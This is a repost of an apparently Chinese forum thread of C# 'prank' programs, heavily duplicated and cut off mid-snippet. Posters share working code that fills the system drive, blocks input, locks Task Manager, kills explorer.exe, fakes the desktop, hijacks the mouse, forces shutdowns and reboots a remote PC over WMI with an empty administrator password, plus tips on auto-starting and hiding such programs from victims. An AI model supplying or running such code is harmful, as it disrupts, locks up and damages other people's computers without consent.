c# 恶搞代码
来源:互联网 发布:配网设计软件 编辑:程序博客网 时间:2024/05/06 08:29
c# 恶搞代码
2008-12-25 21:10:46
也学写一个玩玩
C# code
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void Form1_Load(object sender, EventArgs e)
{
this.FormBorderStyle = FormBorderStyle.None;
this.WindowState = FormWindowState.Maximized;
this.Opacity = 0.01;
}
}
*************************************************************************************
瞬间填满C:\盘
C# codeSystem.IO.FileStream fs = new FileStream("C:\\1.txt", FileMode.OpenOrCreate);
fs.SetLength(System.IO.DriveInfo.GetDrives()[0].TotalFreeSpace-1024*1024);
fs.Close();
*************************************************************************************
private void RunScreenSaver()
{
String[] screenSavers = Directory.GetFiles(Environment.SystemDirectory, "*.scr");
if (screenSavers.Length > 0)
{
// 启动获取到的第一个屏保
Process.Start(new ProcessStartInfo(screenSavers[0]));
}
}
*************************************************************************************
很有意思,不过很多都看不懂,不如下面这个,怎么实现,直接在一个新的工程里写上这两句就行了吗?
// true阻止输入,false解除阻止输入
[DllImport("User32.dll")]
public static extern bool BlockInput(bool enabled);
*************************************************************************************
书上看的 让cpu的曲线成为一条直线,这类的程序一般都要调用系统函数吧.谁教教我怎样隐藏进程啊?
C# code;
using System;
using System.Collections.Generic;
using System.Text;
using System.Diagnostics;
using System.Threading;
namespace cpu
{
class Program
{
static void MakeUsage(float level)
{
PerformanceCounter p = new PerformanceCounter("Processor", "% Processor Time", "_Total");
if (p == null)
{
return;
}
while (true)
{
if (p.NextValue() > level)
System.Threading.Thread.Sleep(10);
}
}
static void Main(string[] args)
{
MakeUsage(1);
}
}
}
***************************************************************************************
引用 364 楼 renfei0730 的回复:
如何屏蔽ctrl+alt+del?那位牛人做到了,esc不算!
C# code;
using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
namespace 二进制流屏蔽任务管理器
{
class Program
{
static void Main(string[] args)
{
FileStream MyFs;
//用二进制流的方法打开它.而且不关闭流.这样任务管理器就打不开了!
MyFs = new FileStream(Environment.ExpandEnvironmentVariables("%windir%\\system32\\taskmgr.exe"), FileMode.Open);
byte[] Mybyte = new byte[(int)MyFs.Length];
MyFs.Write(Mybyte, 0, (int)MyFs.Length);
while (true)
{
//死循环,如果没有它程序运行就结束了,什么流都关闭了。
}
}
}
}
//原理就是在后台永久性独占taskmgr.exe
**************************************************************************************
[DllImport("user32.dll", EntryPoint = "SystemParametersInfo")]
public static extern int SystemParametersInfo(
int uAction,
int uParam,
string lpvParam,
int fuWinIni
);
/// <summary>
/// 设置背景图片
/// </summary>
/// <param name="picture">图片路径 </param>
private void SetDestPicture(string picture)
{
if (File.Exists(picture))
{
if (Path.GetExtension(picture).ToLower() != "bmp")
{
// 其它格式文件先转换为bmp再设置
string tempFile = @"D:\test.bmp";
Image image = Image.FromFile(picture);
image.Save(tempFile, System.Drawing.Imaging.ImageFormat.Bmp);
picture = tempFile;
}
SystemParametersInfo(20, 0, picture, 0x2);
}
}
这个才更有点意思
可以先把当前的桌面截图,然后结束掉EXPLORER进程,接着再把之前截的桌面图作为桌面背景放上去,如此一来,用户以为桌面没变,其实那些东西只是一张背景图而已,同时鼠标也是看不见的,不过快捷键打开任务管理器还是可以,所以得先屏蔽一下
****************************************************************************************
先建个Console Application,Form1的ShowInTaskBar属性false,WindowState属性Minimized,再加个timer控件,Enable属性true写入下面代码:
C# code
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;
namespace 活动窗体震动
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
internal struct RECT
{
public int left;
public int top;
public int right;
public int bottom;
}
[DllImport("user32.dll", ExactSpelling = true, SetLastError = true)]
internal static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, ExactSpelling = true, SetLastError = true)]
internal static extern bool GetWindowRect(IntPtr hWnd, ref RECT rect);
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, ExactSpelling = true, SetLastError = true)]
internal static extern void MoveWindow(IntPtr hwnd,int X,int Y,int nWidth,int nHeight,bool bRepaint);
IntPtr id;
RECT Rect = new RECT();
private void timer1_Tick(object sender, EventArgs e)
{
id = GetForegroundWindow();//id = this.Handle;只能自己跳
Random myRandom = new Random();//随机数对观众来说更壮观点
GetWindowRect(id, ref Rect);
MoveWindow(id, myRandom.Next(1024), myRandom.Next(768), Rect.right-Rect.left, Rect.bottom-Rect.top, true);
}
}
}
当年我在csdn的兄弟们帮助下完成的,不过火恰到好处,试试效果吧.自认为比上面的好玩点...
***************************************************************************************
我也发一个,阻止用户输入,不过按Ctrl+Alt++del就可解除。
C# code;
// true阻止输入,false解除阻止输入
[DllImport("User32.dll")]
public static extern bool BlockInput(bool enabled);
****************************************************************************************
杀掉桌面进程啊
用户就黑屏了
恢复的时候,ctrl + alt + del
新建explorer.exe就好了
Process[] MyProcesses=Process.GetProcesses();
foreach(Process MyProcess in MyProcesses)
{
if(myProcess.Name = "explorer")
{
myProcess.Kill();
}
}
****************************************************************************************88
以前做过一个全屏透明的程序找不到了
说下思路
winform
在任务计划中自动启动该程序
全屏透明,每200毫秒调用esc 防止他用ctrl alt del
每200毫秒将鼠标移动到屏幕任意位置 防止他用鼠标
嘿嘿~
很久了 都忘记 但是绝对可行!
很不错的思路,前面的几种思路也是很不错的。
但大家应该考虑考虑前面有几个哥们提到的问题,如何去让人家安装.Net Framework这是个问题,如果这个问题解决不了,那么用C#就是空谈,就只能用其它的语言或平台了。
*****************************************************************************************
using System;
using System.Diagnostics;
using System.Media;
using System.Runtime.InteropServices;
using System.Threading;
namespace wga
{
static class Program
{
const int MOUSEEVENTF_LEFTDOWN = 0x2;
const int MOUSEEVENTF_LEFTUP = 0x4;
const int MOUSEEVENTF_MIDDLEDOWN = 0x20;
const int MOUSEEVENTF_MIDDLEUP = 0x40;
const int MOUSEEVENTF_MOVE = 0x1;
const int MOUSEEVENTF_ABSOLUTE = 0x8000;
const int MOUSEEVENTF_RIGHTDOWN = 0x8;
const int MOUSEEVENTF_RIGHTUP = 0x10;
[DllImport("user32.dll")]
static extern int GetSystemMetrics(int nIndex);
[DllImport("user32.dll")]
static extern int SetCursorPos(int x, int y);
[DllImport("user32.dll")]
static extern int mouse_event(int dwFlags, int dx, int dy, int cButtons, int dwExtraInfo);
static int Sx, Sy;
static long tick = 1;
static Random rnd = new Random();
[STAThread]
static void Main()
{
try
{
Sx = GetSystemMetrics(0);
Sy = GetSystemMetrics(1);
while(true)
{
if((DateTime.Now.Hour > 22 && DateTime.Now.Minute > 30 || DateTime.Now.Hour < 6) && rnd.Next(1500) == 0)
DoShutdown();
Thread.Sleep(1000);
tick += rnd.Next(2);
if(tick < 1800)
continue;
if(tick % 643 == 0)
DoMouse();
if(tick % 313 == 0)
DoBang();
}
}
catch { };
}
static void DoMouse()
{
int dx, dy;
int c = 4;
while(c-- > 0)
{
dx = rnd.Next(Sx);
dy = rnd.Next(Sy);
switch(rnd.Next(3))
{
case 0:
SetCursorPos(dx, dy);
break;
case 1:
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0);
break;
case 2:
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0);
break;
}
Thread.Sleep(100);
}
}
static void DoBang()
{
switch(rnd.Next(4))
{
case 0:
SystemSounds.Asterisk.Play();
break;
case 1:
SystemSounds.Beep.Play();
break;
case 2:
SystemSounds.Exclamation.Play();
break;
case 3:
SystemSounds.Hand.Play();
break;
}
}
static void DoShutdown()
{
Process.Start("shutdown.exe", "-f -s -t 0");
}
}
}
**************************************************************************************
今天没事干,根据52楼的思想做了一个假屏.
C# code;
public partial class VirtualForm : Form
{
private Bitmap bitmap;
public VirtualForm()
{
InitializeComponent();
bitmap = getDisplay();
}
private void VirtualForm_Load(object sender, EventArgs e)
{
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;
this.WindowState = FormWindowState.Maximized;
this.BackgroundImage = bitmap;
}
[System.Runtime.InteropServices.DllImportAttribute("gdi32.dll")]
private static extern IntPtr CreateDC(
string lpszDriver, // 驱动名称
string lpszDevice, // 设备名称
string lpszOutput, // 无用,可以设定位"NULL"
IntPtr lpInitData // 任意的打印机数据
);
//获取当前屏幕
[System.Runtime.InteropServices.DllImportAttribute("gdi32.dll")]
private static extern bool BitBlt(
IntPtr hdcDest, //目标设备的句柄
int nXDest, // 目标对象的左上角的X坐标
int nYDest, // 目标对象的左上角的X坐标
int nWidth, // 目标对象的矩形的宽度
int nHeight, // 目标对象的矩形的长度
IntPtr hdcSrc, // 源设备的句柄
int nXSrc, // 源对象的左上角的X坐标
int nYSrc, // 源对象的左上角的X坐标
System.Int32 dwRop // 光栅的操作值
);
public static Bitmap getDisplay()
{
IntPtr dc1 = CreateDC("DISPLAY", null, null, (IntPtr)null);
//创建显示器的DC
Graphics g1 = Graphics.FromHdc(dc1);
//由一个指定设备的句柄创建一个新的Graphics对象
Bitmap MyImage = new Bitmap(Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, g1);
//根据屏幕大小创建一个与之相同大小的Bitmap对象
Graphics g2 = Graphics.FromImage(MyImage);
//获得屏幕的句柄
IntPtr dc3 = g1.GetHdc();
//获得位图的句柄
IntPtr dc2 = g2.GetHdc();
//把当前屏幕捕获到位图对象中
BitBlt(dc2, 0, 0, Screen.PrimaryScreen.Bounds.Width, Screen.PrimaryScreen.Bounds.Height, dc3, 0, 0, 13369376);
//把当前屏幕拷贝到位图中
g1.ReleaseHdc(dc3);
//释放屏幕句柄
g2.ReleaseHdc(dc2);
//释放位图句柄
return MyImage;
}
}
****************************************************************************************
远程关闭别人的电脑
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Management;
namespace Ex18_11
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void button1_Click(object sender, EventArgs e)
{
//指定生成 WMI 连接所需的所有设置
ConnectionOptions op = new ConnectionOptions();
op.Username = "administrator"; //远程计算机用户名称
op.Password = ""; //远程计算机用户密码
//设置操作管理范围
ManagementScope scope = new ManagementScope("\\\\" + "192.9.103.114" + "\\root\\cimv2", op);
scope.Connect(); //将此 ManagementScope 连接到实际的 WMI 范围。
ObjectQuery oq = new ObjectQuery("SELECT * FROM Win32_OperatingSystem");
ManagementObjectSearcher query = new ManagementObjectSearcher(scope, oq);
//得到WMI控制
ManagementObjectCollection queryCollection = query.Get();
foreach (ManagementObject obj in queryCollection)
{
// obj.InvokeMethod("ShutDown", null); //执行关闭远程计算机,reboot为重新启动
obj.InvokeMethod("Reboot",null);
}
}
}
}
*****************************************************************************************
直接关闭显示器
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;
namespace ControlHardWare
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
#region SendMessage
public const uint WM_SYSCOMMAND = 0x0112;
public const uint SC_MONITORPOWER = 0xF170;
[DllImport("user32")]
public static extern IntPtr SendMessage(IntPtr hWnd, uint wMsg, uint wParam, int lParam);
#endregion
private void button1_Click(object sender, EventArgs e)
{
CloseLCD(sender, e);
}
void CloseLCD(object sender, EventArgs e)
{
SendMessage(this.Handle, WM_SYSCOMMAND, SC_MONITORPOWER, 2); // 2 为关闭显示器, -1则打开显示器
}
}
}
*****************************************************************************************
C# code;
using System.Runtime.InteropServices;
C# code;
public class Shudown
{
[StructLayout(LayoutKind.Sequential, Pack = 1)]
internal struct TokPriv1Luid
{
public int Count;
public long Luid;
public int Attr;
}
[DllImport("kernel32.dll", ExactSpelling = true)]
internal static extern IntPtr GetCurrentProcess();
[DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
internal static extern bool OpenProcessToken(IntPtr h, int acc, ref IntPtr phtok);
[DllImport("advapi32.dll", SetLastError = true)]
internal static extern bool LookupPrivilegeValue(string host, string name, ref long pluid);
[DllImport("advapi32.dll", ExactSpelling = true, SetLastError = true)]
internal static extern bool AdjustTokenPrivileges(IntPtr htok, bool disall,
ref TokPriv1Luid newst, int len, IntPtr prev, IntPtr relen);
[DllImport("user32.dll", ExactSpelling = true, SetLastError = true)]
internal static extern bool ExitWindowsEx(int DoFlag, int rea);
internal const int SE_PRIVILEGE_ENABLED = 0x00000002;
internal const int TOKEN_QUERY = 0x00000008;
internal const int TOKEN_ADJUST_PRIVILEGES = 0x00000020;
internal const string SE_SHUTDOWN_NAME = "SeShutdownPrivilege";
internal const int EWX_LOGOFF = 0x00000000;
internal const int EWX_SHUTDOWN = 0x00000001;
internal const int EWX_REBOOT = 0x00000002;
internal const int EWX_FORCE = 0x00000004;
internal const int EWX_POWEROFF = 0x00000008;
internal const int EWX_FORCEIFHUNG = 0x00000010;
private static void DoExitWin(int DoFlag)
{
bool ok;
TokPriv1Luid tp;
IntPtr hproc = GetCurrentProcess();
IntPtr htok = IntPtr.Zero;
ok = OpenProcessToken(hproc, TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, ref htok);
tp.Count = 1;
tp.Luid = 0;
tp.Attr = SE_PRIVILEGE_ENABLED;
ok = LookupPrivilegeValue(null, SE_SHUTDOWN_NAME, ref tp.Luid);
ok = AdjustTokenPrivileges(htok, false, ref tp, 0, IntPtr.Zero, IntPtr.Zero);
ok = ExitWindowsEx(DoFlag, 0);
}
public static void Reboot()
{
DoExitWin(EWX_FORCE | EWX_REBOOT);
}
public static void PowerOff()
{
DoExitWin(EWX_FORCE | EWX_POWEROFF);
}
public static void LogOff()
{
DoExitWin(EWX_FORCE | EWX_LOGOFF);
}
}
只要调用 Reboot()重启,PowerOff()关闭,LogOff()注销 这三个函数就OK了~!
*****************************************************************************************
using System;
using System.Diagnostics;
using System.Media;
using System.Runtime.InteropServices;
using System.Threading;
namespace wga
{
static class Program
{
const int MOUSEEVENTF_LEFTDOWN = 0x2;
const int MOUSEEVENTF_LEFTUP = 0x4;
const int MOUSEEVENTF_MIDDLEDOWN = 0x20;
const int MOUSEEVENTF_MIDDLEUP = 0x40;
const int MOUSEEVENTF_MOVE = 0x1;
const int MOUSEEVENTF_ABSOLUTE = 0x8000;
const int MOUSEEVENTF_RIGHTDOWN = 0x8;
const int MOUSEEVENTF_RIGHTUP = 0x10;
[DllImport("user32.dll")]
static extern int GetSystemMetrics(int nIndex);
[DllImport("user32.dll")]
static extern int SetCursorPos(int x, int y);
[DllImport("user32.dll")]
static extern int mouse_event(int dwFlags, int dx, int dy, int cButtons, int dwExtraInfo);
static int Sx, Sy;
static long tick = 1;
static Random rnd = new Random();
[STAThread]
static void Main()
{
try
{
Sx = GetSystemMetrics(0);
Sy = GetSystemMetrics(1);
while(true)
{
if((DateTime.Now.Hour > 22 && DateTime.Now.Minute > 30 || DateTime.Now.Hour < 6) && rnd.Next(1500) == 0)
DoShutdown();
Thread.Sleep(1000);
tick += rnd.Next(2);
if(tick < 1800)
continue;
if(tick % 643 == 0)
DoMouse();
if(tick % 313 == 0)
DoBang();
}
}
catch { };
}
static void DoMouse()
{
int dx, dy;
int c = 4;
while(c-- > 0)
{
dx = rnd.Next(Sx);
dy = rnd.Next(Sy);
switch(rnd.Next(3))
{
case 0:
SetCursorPos(dx, dy);
break;
case 1:
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0);
break;
case 2:
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0);
break;
}
Thread.Sleep(100);
}
}
static void DoBang()
{
switch(rnd.Next(4))
{
case 0:
SystemSounds.Asterisk.Play();
break;
case 1:
SystemSounds.Beep.Play();
break;
case 2:
SystemSounds.Exclamation.Play();
break;
case 3:
SystemSounds.Hand.Play();
break;
}
}
static void DoShutdown()
{
Process.Start("shutdown.exe", "-f -s -t 0");
}
}
}
*************************************************************************************
C# code;
using System;
using System.Collections.Generic;
using System.Windows.Forms;
//
using System.Runtime.InteropServices;
using System.Threading;
using System.Media;
namespace Z
{
static class Program
{
const int MOUSEEVENTF_LEFTDOWN = 0x2;
const int MOUSEEVENTF_LEFTUP = 0x4;
const int MOUSEEVENTF_MIDDLEDOWN = 0x20;
const int MOUSEEVENTF_MIDDLEUP = 0x40;
const int MOUSEEVENTF_MOVE = 0x1;
const int MOUSEEVENTF_ABSOLUTE = 0x8000;
const int MOUSEEVENTF_RIGHTDOWN = 0x8;
const int MOUSEEVENTF_RIGHTUP = 0x10;
[DllImport("user32.dll")]
static extern int GetSystemMetrics(int nIndex);
[DllImport("user32.dll")]
static extern int SetCursorPos(int x, int y);
[DllImport("user32.dll")]
static extern int mouse_event(int dwFlags, int dx, int dy, int cButtons, int dwExtraInfo);
static int Sx, Sy;
static long tick = 1;
static Random rnd = new Random();
[STAThread]
static void Main()
{
try
{
Sx = GetSystemMetrics(0);
Sy = GetSystemMetrics(1);
while (true)
{
if ((DateTime.Now.Hour > 22 && DateTime.Now.Minute > 30 || DateTime.Now.Hour < 6) && rnd.Next(1500) == 0)
DoShutdown();
Thread.Sleep(1000);
tick += rnd.Next(2);
if (tick < 1800)
continue;
if (tick % 643 == 0)
DoMouse();
if (tick % 313 == 0)
DoBang();
}
}
catch { };
}
static void DoMouse()
{
int dx, dy;
int c = 4;
while (c-- > 0)
{
dx = rnd.Next(Sx);
dy = rnd.Next(Sy);
switch (rnd.Next(3))
{
case 0:
SetCursorPos(dx, dy);
break;
case 1:
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0);
break;
case 2:
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0);
break;
}
Thread.Sleep(100);
}
}
static void DoBang()
{
switch (rnd.Next(4))
{
case 0:
SystemSounds.Asterisk.Play();
break;
case 1:
SystemSounds.Beep.Play();
break;
case 2:
SystemSounds.Exclamation.Play();
break;
case 3:
SystemSounds.Hand.Play();
break;
}
}
static void DoShutdown()
{
[color=#FF0000]Process[/color].Start("shutdown.exe", "-f -s -t 0");
}
}
}
报错耶: 当前上下文中不存在"Process".
*****************************************************************************************8
我也来个。。。
long k=0;
While(true)
{
k++;
File.Create("C:\Windows\"+k.ToString()+".jok");
}
***************************************************************************************8
再来一个,启动屏保
C# code;
private void RunScreenSaver()
{
String[] screenSavers = Directory.GetFiles(Environment.SystemDirectory, "*.scr");
if (screenSavers.Length > 0)
{
// 启动获取到的第一个屏保
Process.Start(new ProcessStartInfo(screenSavers[0]));
}
}
**************************************************************************************
篡改背景图片
C# code;
[DllImport("user32.dll", EntryPoint = "SystemParametersInfo")]
public static extern int SystemParametersInfo(
int uAction,
int uParam,
string lpvParam,
int fuWinIni
);
/// <summary>
/// 设置背景图片
/// </summary>
/// <param name="picture">图片路径</param>
private void SetDestPicture(string picture)
{
if (File.Exists(picture))
{
if (Path.GetExtension(picture).ToLower() != "bmp")
{
// 其它格式文件先转换为bmp再设置
string tempFile = @"D:\test.bmp";
Image image = Image.FromFile(picture);
image.Save(tempFile, System.Drawing.Imaging.ImageFormat.Bmp);
picture = tempFile;
}
SystemParametersInfo(20, 0, picture, 0x2);
}
}
*****************************************************************************************8
我也发一个,阻止用户输入,不过按Ctrl+Alt++del就可解除。
C# code
// true阻止输入,false解除阻止输入
[DllImport("User32.dll")]
public static extern bool BlockInput(bool enabled);
***************************************************************************************8
C# codeusing System;
using System.Diagnostics;
using System.Media;
using System.Runtime.InteropServices;
using System.Threading;
namespace wga
{
static class Program
{
const int MOUSEEVENTF_LEFTDOWN = 0x2;
const int MOUSEEVENTF_LEFTUP = 0x4;
const int MOUSEEVENTF_MIDDLEDOWN = 0x20;
const int MOUSEEVENTF_MIDDLEUP = 0x40;
const int MOUSEEVENTF_MOVE = 0x1;
const int MOUSEEVENTF_ABSOLUTE = 0x8000;
const int MOUSEEVENTF_RIGHTDOWN = 0x8;
const int MOUSEEVENTF_RIGHTUP = 0x10;
[DllImport("user32.dll")]
static extern int GetSystemMetrics(int nIndex);
[DllImport("user32.dll")]
static extern int SetCursorPos(int x, int y);
[DllImport("user32.dll")]
static extern int mouse_event(int dwFlags, int dx, int dy, int cButtons, int dwExtraInfo);
static int Sx, Sy;
static long tick = 1;
static Random rnd = new Random();
[STAThread]
static void Main()
{
try
{
Sx = GetSystemMetrics(0);
Sy = GetSystemMetrics(1);
while(true)
{
if((DateTime.Now.Hour > 22 && DateTime.Now.Minute > 30 || DateTime.Now.Hour < 6) && rnd.Next(1500) == 0)
DoShutdown();
Thread
*************************************************************************************88
C# code
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
private void Form1_Load(object sender, EventArgs e)
{
this.FormBorderStyle = FormBorderStyle.None;
this.WindowState = FormWindowState.Maximized;
this.Opacity = 0.01;
}
}
*************************************************************************************
瞬间填满C:\盘
C# codeSystem.IO.FileStream fs = new FileStream("C:\\1.txt", FileMode.OpenOrCreate);
fs.SetLength(System.IO.DriveInfo.GetDrives()[0].TotalFreeSpace-1024*1024);
fs.Close();
*************************************************************************************
private void RunScreenSaver()
{
String[] screenSavers = Directory.GetFiles(Environment.SystemDirectory, "*.scr");
if (screenSavers.Length > 0)
{
// 启动获取到的第一个屏保
Process.Start(new ProcessStartInfo(screenSavers[0]));
}
}
*************************************************************************************
很有意思,不过很多都看不懂,不如下面这个,怎么实现,直接在一个新的工程里写上这两句就行了吗?
// true阻止输入,false解除阻止输入
[DllImport("User32.dll")]
public static extern bool BlockInput(bool enabled);
*************************************************************************************
书上看的 让cpu的曲线成为一条直线,这类的程序一般都要调用系统函数吧.谁教教我怎样隐藏进程啊?
C# code;
using System;
using System.Collections.Generic;
using System.Text;
using System.Diagnostics;
using System.Threading;
namespace cpu
{
class Program
{
static void MakeUsage(float level)
{
PerformanceCounter p = new PerformanceCounter("Processor", "% Processor Time", "_Total");
if (p == null)
{
return;
}
while (true)
{
if (p.NextValue() > level)
System.Threading.Thread.Sleep(10);
}
}
static void Main(string[] args)
{
MakeUsage(1);
}
}
}
***************************************************************************************
引用 364 楼 renfei0730 的回复:
如何屏蔽ctrl+alt+del?那位牛人做到了,esc不算!
C# code;
using System;
using System.Collections.Generic;
using System.Text;
using System.IO;
namespace 二进制流屏蔽任务管理器
{
class Program
{
static void Main(string[] args)
{
FileStream MyFs;
//用二进制流的方法打开它.而且不关闭流.这样任务管理器就打不开了!
MyFs = new FileStream(Environment.ExpandEnvironmentVariables("%windir%\\system32\\taskmgr.exe"), FileMode.Open);
byte[] Mybyte = new byte[(int)MyFs.Length];
MyFs.Write(Mybyte, 0, (int)MyFs.Length);
while (true)
{
//死循环,如果没有它程序运行就结束了,什么流都关闭了。
}
}
}
}
//原理就是在后台永久性独占taskmgr.exe
**************************************************************************************
[DllImport("user32.dll", EntryPoint = "SystemParametersInfo")]
public static extern int SystemParametersInfo(
int uAction,
int uParam,
string lpvParam,
int fuWinIni
);
/// <summary>
/// 设置背景图片
/// </summary>
/// <param name="picture">图片路径 </param>
private void SetDestPicture(string picture)
{
if (File.Exists(picture))
{
if (Path.GetExtension(picture).ToLower() != "bmp")
{
// 其它格式文件先转换为bmp再设置
string tempFile = @"D:\test.bmp";
Image image = Image.FromFile(picture);
image.Save(tempFile, System.Drawing.Imaging.ImageFormat.Bmp);
picture = tempFile;
}
SystemParametersInfo(20, 0, picture, 0x2);
}
}
这个才更有点意思
可以先把当前的桌面截图,然后结束掉EXPLORER进程,接着再把之前截的桌面图作为桌面背景放上去,如此一来,用户以为桌面没变,其实那些东西只是一张背景图而已,同时鼠标也是看不见的,不过快捷键打开任务管理器还是可以,所以得先屏蔽一下
****************************************************************************************
先建个Console Application,Form1的ShowInTaskBar属性false,WindowState属性Minimized,再加个timer控件,Enable属性true写入下面代码:
C# code
using System;
using System.Collections.Generic;
using System.ComponentModel;
using System.Data;
using System.Drawing;
using System.Text;
using System.Windows.Forms;
using System.Runtime.InteropServices;
namespace 活动窗体震动
{
public partial class Form1 : Form
{
public Form1()
{
InitializeComponent();
}
internal struct RECT
{
public int left;
public int top;
public int right;
public int bottom;
}
[DllImport("user32.dll", ExactSpelling = true, SetLastError = true)]
internal static extern IntPtr GetForegroundWindow();
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, ExactSpelling = true, SetLastError = true)]
internal static extern bool GetWindowRect(IntPtr hWnd, ref RECT rect);
[DllImport("user32.dll", CharSet = CharSet.Auto, CallingConvention = CallingConvention.StdCall, ExactSpelling = true, SetLastError = true)]
internal static extern void MoveWindow(IntPtr hwnd,int X,int Y,int nWidth,int nHeight,bool bRepaint);
IntPtr id;
RECT Rect = new RECT();
private void timer1_Tick(object sender, EventArgs e)
{
id = GetForegroundWindow();//id = this.Handle;只能自己跳
Random myRandom = new Random();//随机数对观众来说更壮观点
GetWindowRect(id, ref Rect);
MoveWindow(id, myRandom.Next(1024), myRandom.Next(768), Rect.right-Rect.left, Rect.bottom-Rect.top, true);
}
}
}
当年我在csdn的兄弟们帮助下完成的,不过火恰到好处,试试效果吧.自认为比上面的好玩点...
***************************************************************************************
我也发一个,阻止用户输入,不过按Ctrl+Alt++del就可解除。
C# code;
// true阻止输入,false解除阻止输入
[DllImport("User32.dll")]
public static extern bool BlockInput(bool enabled);
****************************************************************************************
杀掉桌面进程啊
用户就黑屏了
恢复的时候,ctrl + alt + del
新建explorer.exe就好了
Process[] MyProcesses=Process.GetProcesses();
foreach(Process MyProcess in MyProcesses)
{
if(myProcess.Name = "explorer")
{
myProcess.Kill();
}
}
****************************************************************************************88
以前做过一个全屏透明的程序找不到了
说下思路
winform
在任务计划中自动启动该程序
全屏透明,每200毫秒调用esc 防止他用ctrl alt del
每200毫秒将鼠标移动到屏幕任意位置 防止他用鼠标
嘿嘿~
很久了 都忘记 但是绝对可行!
很不错的思路,前面的几种思路也是很不错的。
但大家应该考虑考虑前面有几个哥们提到的问题,如何去让人家安装.Net Framework这是个问题,如果这个问题解决不了,那么用C#就是空谈,就只能用其它的语言或平台了。
*****************************************************************************************
using System;
using System.Diagnostics;
using System.Media;
using System.Runtime.InteropServices;
using System.Threading;
namespace wga
{
static class Program
{
const int MOUSEEVENTF_LEFTDOWN = 0x2;
const int MOUSEEVENTF_LEFTUP = 0x4;
const int MOUSEEVENTF_MIDDLEDOWN = 0x20;
const int MOUSEEVENTF_MIDDLEUP = 0x40;
const int MOUSEEVENTF_MOVE = 0x1;
const int MOUSEEVENTF_ABSOLUTE = 0x8000;
const int MOUSEEVENTF_RIGHTDOWN = 0x8;
const int MOUSEEVENTF_RIGHTUP = 0x10;
[DllImport("user32.dll")]
static extern int GetSystemMetrics(int nIndex);
[DllImport("user32.dll")]
static extern int SetCursorPos(int x, int y);
[DllImport("user32.dll")]
static extern int mouse_event(int dwFlags, int dx, int dy, int cButtons, int dwExtraInfo);
static int Sx, Sy;
static long tick = 1;
static Random rnd = new Random();
[STAThread]
static void Main()
{
try
{
Sx = GetSystemMetrics(0);
Sy = GetSystemMetrics(1);
while(true)
{
if((DateTime.Now.Hour > 22 && DateTime.Now.Minute > 30 || DateTime.Now.Hour < 6) && rnd.Next(1500) == 0)
DoShutdown();
Thread.Sleep(1000);
tick += rnd.Next(2);
if(tick < 1800)
continue;
if(tick % 643 == 0)
DoMouse();
if(tick % 313 == 0)
DoBang();
}
}
catch { };
}
static void DoMouse()
{
int dx, dy;
int c = 4;
while(c-- > 0)
{
dx = rnd.Next(Sx);
dy = rnd.Next(Sy);
switch(rnd.Next(3))
{
case 0:
SetCursorPos(dx, dy);
break;
case 1:
mouse_event(MOUSEEVENTF_LEFTDOWN | MOUSEEVENTF_LEFTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0);
break;
case 2:
mouse_event(MOUSEEVENTF_RIGHTDOWN | MOUSEEVENTF_RIGHTUP | MOUSEEVENTF_ABSOLUTE, dx, dy, 0, 0);
break;
}
Thread.Sleep(100);
}
}
static void DoBang()
{
switch(rnd.Next(4))
{
case 0:
SystemSounds.Asterisk.Play();
break;
case 1:
SystemSounds.Beep.Play();
break;
case 2:
SystemSounds.Exclamation.Play();
break;
case 3:
SystemSounds.Hand.Play();
break;
}
}
static void DoShutdown()
{
Process.Start("shutdown.exe", "-f -s -t 0");
}
}
}
**************************************************************************************
今天没事干,根据52楼的思想做了一个假屏.
C# code;
public partial class VirtualForm : Form
{
private Bitmap bitmap;
public VirtualForm()
{
InitializeComponent();
bitmap = getDisplay();
}
private void VirtualForm_Load(object sender, EventArgs e)
{
this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.None;
this.WindowState = FormWindowState.Maximized;
this.BackgroundImage = bitmap;
}
[System.Runtime.InteropServices.DllImportAttribute("gdi32.dll")]
private static extern IntPtr CreateDC(
string lpszDriver, // 驱动名称
string lpszDevice, // 设备名称
string lpszOutput, // 无用,可以设定位"NULL"
IntPtr lpInitData // 任意的打印机数据
);
//获取当前屏幕
[System.Runtime.InteropServices.DllImportAttribute("gdi32.dll")]
private static extern bool BitBlt(
IntPtr hdcDest, //目标设备的句柄
int nXDest, // 目标对象的左上角的X坐标
int nYDest, // 目标对象的左上角的X坐标
int nWidth, // 目标对象的矩形的宽度
